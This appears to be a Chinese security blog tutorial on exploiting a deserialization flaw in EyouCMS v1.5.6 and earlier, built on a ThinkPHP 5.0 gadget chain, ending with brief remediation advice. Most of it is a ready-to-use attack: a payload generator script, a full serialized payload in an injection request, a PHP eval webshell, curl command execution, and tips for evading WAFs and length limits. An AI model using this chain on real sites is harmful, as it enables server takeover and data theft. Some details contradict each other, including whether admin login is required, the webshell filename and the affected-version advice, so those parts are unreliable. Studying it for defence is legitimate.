EyouCMS反序列化漏洞实战:从漏洞挖掘到RCE利用

📅 发布时间:2026/7/3 19:04:13 👁️ 浏览次数:
EyouCMS反序列化漏洞实战:从漏洞挖掘到RCE利用
1. 漏洞初探EyouCMS与那个危险的参数大家好我是老张一个在安全圈摸爬滚打了十来年的老兵。今天咱们不聊那些虚头巴脑的理论直接上手一个最近在圈子里讨论得挺热的实战漏洞——EyouCMS的反序列化漏洞编号CVE-2024-3431。如果你手里有基于EyouCMS搭建的站点或者你本身就是做安全研究、渗透测试的那这篇文章可得好好看看了。EyouCMS国内不少中小企业在用主打的就是模板多、易优化、开源。但正是这样一个“易用”的系统在v1.5.6及之前的版本里后台藏着一个能直接远程执行命令RCE的“后门”。简单来说攻击者不需要知道后台密码只要构造一个特殊的请求就能让服务器乖乖执行他想要的任何命令比如上传个木马、读个数据库什么的服务器就相当于“白送”了。漏洞的入口点听起来有点绕在后台的一个文件里/login.php?madmincFieldachannel_edit。关键就在于那个channel_id参数。开发者在处理这个参数时直接把它扔进了unserialize()函数。在PHP里unserialize()是个危险函数它能把一串序列化后的字符串“还原”成PHP对象。如果这串字符串是攻击者精心构造的那么在“还原”的过程中就可能触发对象内部某些方法的自动执行比如__destruct析构函数或__wakeup反序列化唤醒函数从而像推倒多米诺骨牌一样最终执行系统命令。我刚开始分析这个漏洞时第一反应也是去找公开的POC漏洞利用代码。但网上能找到的资料要么语焉不详要么设置了访问权限。得看来又得自己动手丰衣足食了。这其实也是咱们这行的常态指望别人喂到嘴边不如自己把代码啃明白。接下来我就带你一起从搭建测试环境开始一步步把这个漏洞的里里外外扒个干净看看攻击者到底是怎么利用它拿到服务器权限的以及咱们该如何防范。2. 环境搭建与漏洞定位2.1 准备你的“实验室”动手分析之前咱得先把漏洞复现的环境搭起来。我推荐用Docker干净又省事。如果你习惯用PHPStudy、XAMPP这类集成环境或者自己本机就有PHPMySQLWeb服务器如Nginx或Apache的环境那也完全没问题。首先去EyouCMS官网或者GitHub上找到v1.5.6版本的源码。为啥非得是这个版本因为漏洞公告说了影响版本是v1.5.6咱们就取这个上限版本做分析。下载后解压到你的网站根目录比如/var/www/html/eyoucms或D:\phpstudy_pro\WWW\eyoucms。接着配置数据库。访问你的站点安装页面通常是http://your-ip/eyoucms/install按照提示创建一个数据库并完成EyouCMS的安装。这个过程和装WordPress差不多跟着向导走就行。安装成功后记得进后台看一眼确保一切正常。这里有个小提示为了后续调试方便我建议你在PHP配置里把错误显示打开display_errors On并且把代码目录的权限设置好避免因为权限问题踩坑。环境准备好了咱们直接访问漏洞路径试试http://your-ip/eyoucms/login.php?madmincFieldachannel_edit。不出意外的话你会看到一个错误提示比如“数据不存在”之类的。这很正常因为我们需要传入正确的channel_id和id参数。但我们的目的不是正常访问而是找到那个触发反序列化的代码点。2.2 揪出漏洞代码根据漏洞描述问题出在/application/admin/controller/Field.php文件的channel_edit方法里。咱们打开这个文件直接找到这个方法。我习惯用VS Code或PHPStorm这类带代码高亮和跳转的编辑器看起来更清晰。咱们重点看这个方法开头的部分public function channel_edit() { $channel_id input(param.channel_id/d, 0); // ... 省略一些初始判断 ... if (IS_POST) { // 处理POST请求的逻辑很长我们先不看 } // 注意下面是非POST请求比如GET请求时的逻辑 $id input(param.id/d, 0); $info model(Channelfield)-getInfoByWhere([id$id,channel_id$channel_id]); if (empty($info)) { $this-error(数据不存在请联系管理员); exit; } if (!empty($info[ifsystem])) { $this-error(系统字段不允许更改); } // ... 省略一些无关代码 ... if (region $info[dtype]) { // 反序列化默认值参数 $dfvalue unserialize($info[dfvalue]); // ... 后续处理$dfvalue ... } }看到了吗第675行附近不同版本行号可能有细微差别$dfvalue unserialize($info[dfvalue]);这一句就是罪魁祸首它的逻辑是这样的程序通过我们传入的channel_id和id去数据库的ey_channelfield表里查一条记录。如果查到的记录存在并且ifsystem字段为0非系统字段并且dtype字段的值等于region。那么它就会把这条记录里的dfvalue字段的值直接交给unserialize()函数去处理。所以攻击链的第一步就很清晰了我们得想办法在数据库的ey_channelfield表里插入一条dtype为region并且dfvalue字段是我们精心构造的恶意序列化字符串的记录。然后我们再通过channel_edit这个接口传入对应的channel_id和id触发反序列化。那么问题来了我们怎么往数据库里插入这条恶意的记录呢前台肯定没这功能得找后台有没有地方能操作这个表。这就是下一个环节要解决的问题。3. 构造攻击链ThinkPHP反序列化利用3.1 寻找可利用的“链子”光有反序列化点还不够我们得有一条能通到代码执行的“链子”。PHP反序列化漏洞的利用核心是找到一系列具有“魔法方法”如__destruct,__wakeup,__toString等的类这些方法在反序列化过程中会被自动调用。通过精心构造对象属性让一个对象的销毁或调用触发另一个对象的方法像链条一样传递最终达到执行任意代码的目的。EyouCMS是基于ThinkPHP 5.0.x开发的。ThinkPHP作为一个流行框架其内部类之间的调用关系非常复杂这反而给攻击者提供了构造利用链的土壤。安全研究员们早就挖掘出了ThinkPHP 5.0.0到5.0.23版本中一条非常经典的反序列化利用链。咱们这次就可以直接“借用”过来。这条链子的核心思路是利用think\process\pipes\Windows类的__destruct方法。在对象销毁时它会尝试关闭其内部$files属性数组中的资源。如果我们让$files里面放一个think\model\Pivot对象就会触发一系列后续的调用最终会调用到think\cache\driver\File类的write方法或者相关方法而在这个方法里我们可以通过控制$options[path]等参数实现文件写入从而写入一个Webshell。我画个简化的调用流程给你看你就能明白这个链子的巧妙之处了think\process\pipes\Windows::__destruct()被触发。它尝试清理$this-files里面是我们放的Pivot对象。这导致think\model\Pivot的__toString或相关方法被调用。进而触发think\model\relation\HasOne类的getAttr等方法。通过属性绑定(bindAttr)和查询对象(query)的传递最终调用到think\console\Output的__call方法。__call方法会去调用$this-handle我们设置为think\session\driver\Memcached的write方法。Memcached的write方法又调用了$this-handler我们设置为think\cache\driver\File的write方法。在File类的write方法中我们可以通过$this-options[path]来控制写入的文件路径和内容。这里我们可以使用PHP的过滤器php://filter配合convert.iconv和convert.base64-decode来绕过一些内容限制写入一个包含PHP代码的Webshell文件。3.2 生成我们的“武器”理解了原理咱们就可以用PHP代码来生成这个恶意的序列化字符串Payload了。下面是我根据这条链子写的一个生成脚本?php namespace think\process\pipes { class Windows { private $files []; public function __construct($files) { $this-files [$files]; } } } namespace think { abstract class Model { protected $append []; protected $error null; public $parent; function __construct($output, $modelRelation) { $this-parent $output; $this-append array(xxx getError); $this-error $modelRelation; } } } namespace think\model { use think\Model; class Pivot extends Model { function __construct($output, $modelRelation) { parent::__construct($output, $modelRelation); } } } namespace think\model\relation { class HasOne extends OneToOne { } } namespace think\model\relation { abstract class OneToOne { protected $selfRelation; protected $bindAttr []; protected $query; function __construct($query) { $this-selfRelation 0; $this-query $query; $this-bindAttr [xxx]; } } } namespace think\db { class Query { protected $model; function __construct($model) { $this-model $model; } } } namespace think\console { class Output { private $handle; protected $styles; function __construct($handle) { $this-styles [getAttr]; $this-handle $handle; } } } namespace think\session\driver { class Memcached { protected $handler; function __construct($handle) { $this-handler $handle; } } } namespace think\cache\driver { class File { protected $options null; protected $tag; function __construct() { // 关键这里设置要写入的文件路径和内容 $this-options [ expire 3600, cache_subdir false, prefix , // 利用filter将base64编码的webshell解码后写入 path php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resourceaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../shell.php, data_compress false, ]; $this-tag xxx; } } } namespace { // 从内到外组装对象 $file new think\cache\driver\File(); $memcached new think\session\driver\Memcached($file); $output new think\console\Output($memcached); $query new think\db\Query($output); $hasOne new think\model\relation\HasOne($query); $pivot new think\model\Pivot($output, $hasOne); $windows new think\process\pipes\Windows($pivot); // 生成序列化字符串并Base64编码方便传输 $payload serialize($windows); echo 原始序列化字符串:\n; echo $payload . \n\n; echo Base64编码后用于Payload:\n; echo base64_encode($payload); } ?把上面这段代码保存为generate_payload.php在你的测试环境里运行一下确保PHP版本和ThinkPHP类存在或者使用autoload就能得到一大串序列化字符串和它的Base64编码。这个Base64字符串就是我们后续要植入数据库的“子弹”。简单解释一下最后那个pathaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../shell.php。这看起来有点乱其实PD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g是?php eval($_POST[cc]);?注意末尾有个空格的Base64编码。前面的aaa和后面的/../是为了凑齐Base64解码的4字节对齐并最终让文件路径落在shell.php。php://filter包装器允许我们在写入前对数据进行转换这里先做了一次字符集转换UTF-8到UTF-7再进行Base64解码最终写入文件的内容就是我们的Webshell。4. 注入恶意数据打通利用的前置条件4.1 找到数据注入点现在我们有“子弹”Payload了但还得有把“枪”注入点把它射进数据库。回顾一下我们需要在ey_channelfield表里创建或更新一条记录满足三个条件ifsystem0,dtyperegion,dfvalue是我们的恶意序列化字符串。经过对EyouCMS后台代码的审计我在Field.php控制器里发现了另一个方法arctype_add。看名字就知道这是用来给栏目添加字段的。我们仔细看看它的POST处理部分代码很长我摘关键逻辑public function arctype_add() { // ... 获取参数等 ... if (IS_POST) { $post input(post., , trim); // 必须提交这些字段 if (empty($post[dtype]) || empty($post[title]) || empty($post[name])) { $this-error(缺少必填信息); } // 对dfvalue进行一些过滤但主要是针对radio/checkbox/select/region类型过滤一些特殊字符 $dfvalue str_replace(, ,, $post[dfvalue]); if (in_array($post[dtype], [radio,checkbox,select,region])) { $pattern [, \, ;, , ?, ]; $dfvalue func_preg_replace($pattern, , $dfvalue); // 注意这个过滤不涉及反斜杠或NULL字节 } // ... 后续处理将数据组装进$data数组 ... $field_id Db::name(channelfield)-insertGetId($data); // 关键数据插入表 $this-success(操作成功, url(Field/arctype_index)); } // ... 其他逻辑 ... }发现了没arctype_add方法允许我们通过POST请求向ey_channelfield表插入数据。我们只需要构造一个POST请求提交dtyperegiontitle和name随便填符合命名规则比如name不能以ey_开头然后把我们生成的Base64编码后的Payload放在dfvalue参数里提交上去就能成功在数据库里创建一条符合我们要求的记录这里有个小坑需要注意代码里对dfvalue的过滤func_preg_replace只是去掉了几个特定的字符,,;,,?,对于我们的序列化字符串里面主要是字母、数字、冒号、引号、花括号等完全没有影响。所以我们的Payload可以原封不动地存进去。4.2 实战注入操作理论说再多不如动手试一下。咱们用Burp Suite或者直接写个Python脚本来模拟这个添加字段的请求。首先你需要有一个有效的后台会话CookiePHPSESSID。因为arctype_add是后台功能需要登录。假设我们已经通过某种方式比如弱口令或者别的漏洞拿到了后台权限或者我们在自己的测试环境里直接登录了后台。然后我们构造这样一个POST请求POST /eyoucms/login.php?madmincFieldaarctype_add HTTP/1.1 Host: your-target.com Cookie: PHPSESSID你的会话ID; admin_langcn; ...其他Cookie... Content-Type: application/x-www-form-urlencoded Content-Length: [计算长度] dtyperegiontitletest_fieldnametestfielddfvalueTzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ4eHgiO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTozNjAwO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czo0OiJwYXRoIjtzOjEyMjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlRVDFOVVd5ZGpZMk1uWFNrN1B6NGcvLi4vYS5waHAiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO3M6MzoieHh4Ijt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fX1zOjY6InBhcmVudCI7cjoxMTt9fX0注意上面的dfvalue值就是我之前生成的Base64编码的Payload你实际操作时需要替换成自己生成的。title和name可以随便起只要name符合正则/^(\w)$/且不以ey_开头就行。发送这个请求如果返回“操作成功”恭喜你恶意数据已经成功注入数据库了。你可以去数据库里确认一下ey_channelfield表里应该多了一条dtype为regiondfvalue很长一串的记录。记下这条记录的id和它所属的channel_id通常新增的字段会绑定到某个默认的模型比如channel_id可能是-99或者其他值需要根据实际情况查看或从返回信息中获取。5. 触发漏洞与命令执行5.1 扣动扳机数据已经准备好了现在就是最后一步触发反序列化。我们回到最初的漏洞点/login.php?madmincFieldachannel_edit。这次我们带上正确的参数去访问它http://your-target.com/eyoucms/login.php?madmincFieldachannel_editchannel_id[你记录中的channel_id]id[你记录中的id]例如http://your-target.com/eyoucms/login.php?madmincFieldachannel_editchannel_id-99id123当这个GET请求到达时程序会执行我们之前分析的逻辑根据channel_id-99和id123去查表。找到我们刚刚插入的那条记录。发现ifsystem0且dtyperegion条件满足。执行$dfvalue unserialize($info[dfvalue]);。我们的恶意Payload被反序列化触发ThinkPHP的利用链。链子最终走到think\cache\driver\File根据path设置在网站根目录或相对路径写入一个名为shell.php的文件内容就是我们解码后的Webshell?php eval($_POST[cc]);?。5.2 验证与利用触发请求后如果一切顺利服务器不会返回明显的错误可能会是空白页或者一个JSON响应。这时你可以尝试访问这个Webshell文件http://your-target.com/eyoucms/shell.php。如果文件存在并且返回空白没有报错那么大概率是成功了。接下来你可以用中国菜刀、蚁剑这类Webshell管理工具或者直接用curl、Postman来连接它。例如用curl测试命令执行curl -X POST http://your-target.com/eyoucms/shell.php -d ccsystem(whoami);如果返回了Web服务器进程的用户名比如www-data或apache那就证明远程代码执行RCE成功了你可以执行任何系统命令比如ls -la查看目录cat /etc/passwd查看用户或者直接写一个更稳定的后门。5.3 实战中可能遇到的“坑”在实际测试中你可能会遇到一些问题Payload过长导致插入失败这是最可能遇到的问题。我们生成的Payload非常长而数据库中dfvalue字段可能是varchar(255)或varchar(500)长度有限。原始文章的作者也遇到了这个问题插入时SQL报错。怎么办缩短链子深入研究ThinkPHP链尝试找到更短的利用链或者优化对象属性减少序列化后的字符串长度。分段写入寻找其他可以控制dfvalue的入口点看是否能分多次写入或者利用更新操作而非插入操作。利用其他链ThinkPHP 5.x还有其他反序列化链可以找找有没有更精简的。路径问题我们Payload中写的路径是aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../shell.php这个/../shell.php是相对路径最终写入的位置取决于当前工作目录。可能不会正好在网站根目录。你需要根据实际情况调整路径或者尝试使用绝对路径。权限问题Web服务器用户如www-data可能对目标目录没有写权限导致文件写入失败。WAF或安全软件拦截长的、包含特殊字符的序列化字符串可能会被WAFWeb应用防火墙或服务器上的安全软件识别并拦截。解决这些问题需要你根据实际情况进行调试。可以在关键位置如unserialize前后打印日志或者使用Xdebug进行单步跟踪看看Payload到底是在哪一步失败了。6. 漏洞修复与安全建议分析完攻击过程咱们再来看看怎么防御。如果你是EyouCMS的使用者或者开发者以下几点至关重要1. 立即升级这是最根本、最有效的办法。EyouCMS官方在后续版本中肯定修复了这个漏洞。请立即检查你的EyouCMS版本如果低于v1.5.6请务必升级到最新版本。不要抱有侥幸心理认为自己的站点小没人盯自动化攻击脚本可不会挑食。2. 代码层面修复针对开发者修复的核心原则是不要反序列化不可信的数据。输入验证对于channel_id、id这类参数除了类型转换/d还应该增加更严格的范围检查或白名单验证。避免使用unserialize如果业务逻辑必须序列化存储数据考虑使用json_encode/json_decode替代serialize/unserialize。JSON格式更安全且没有PHP对象注入的风险。使用安全的反序列化函数如果非要用unserialize必须使用PHP 7的unserialize($data, [allowed_classes false])选项禁止反序列化对象只允许反序列化基本类型数组、字符串等。或者使用phpserialize等更安全的库。对存储的数据进行签名或加密在将序列化数据存入数据库前对其进行HMAC签名或加密。读取时先验证签名或解密确保数据未被篡改。对于这个具体的漏洞修复方法可能是在channel_edit方法中对从数据库取出的dfvalue进行严格检查如果不是预期的格式比如不是数组或特定格式的序列化数据则直接拒绝处理。或者从根本上修改region类型字段的数据存储方式不使用序列化。3. 运维层面加固最小权限原则运行Web服务的用户如www-data权限要尽可能低只赋予其必要的文件和目录读写权限。这样即使被攻破攻击者能做的事情也有限。部署WAF在服务器前端部署Web应用防火墙可以拦截常见的攻击Payload包括反序列化攻击的特征字符串。定期安全审计对网站代码进行定期的安全扫描和人工审计特别是对unserialize、eval、system、exec等危险函数的调用要进行重点审查。后台访问限制将网站后台管理地址/login.php?madmin设置为仅允许特定IP或内网访问减少暴露面。7. 总结与思考通过这次对CVE-2024-3431的完整分析我们可以清晰地看到一条从漏洞挖掘到最终RCE的完整攻击链后台功能点注入可控的序列化数据 - 另一处功能点反序列化该数据 - 触发框架内置反序列化链 - 实现任意文件写入 - 获取Webshell。这种漏洞组合利用的方式在实际攻击中非常常见。它提醒我们安全是一个整体不能只防一点。即使反序列化点本身看起来“无害”只是读取数据库数据但只要有一处地方能控制这个数据整个链条就通了。对于安全研究人员来说这个案例是一个很好的学习样本它涵盖了代码审计、漏洞链构造、Payload生成、实际利用等多个环节。对于开发人员这是一个深刻的教训任何用户可控包括间接可控的数据流入危险函数如反序列化、命令执行、文件包含、SQL拼接等都是潜在的安全炸弹。最后我想说的是研究漏洞不是为了搞破坏而是为了更深入地理解系统原理从而更好地保护它。希望这篇文章能帮你不仅看懂了这个漏洞更能举一反三在以后的工作中写出更安全的代码或者做出更有效的安全防护。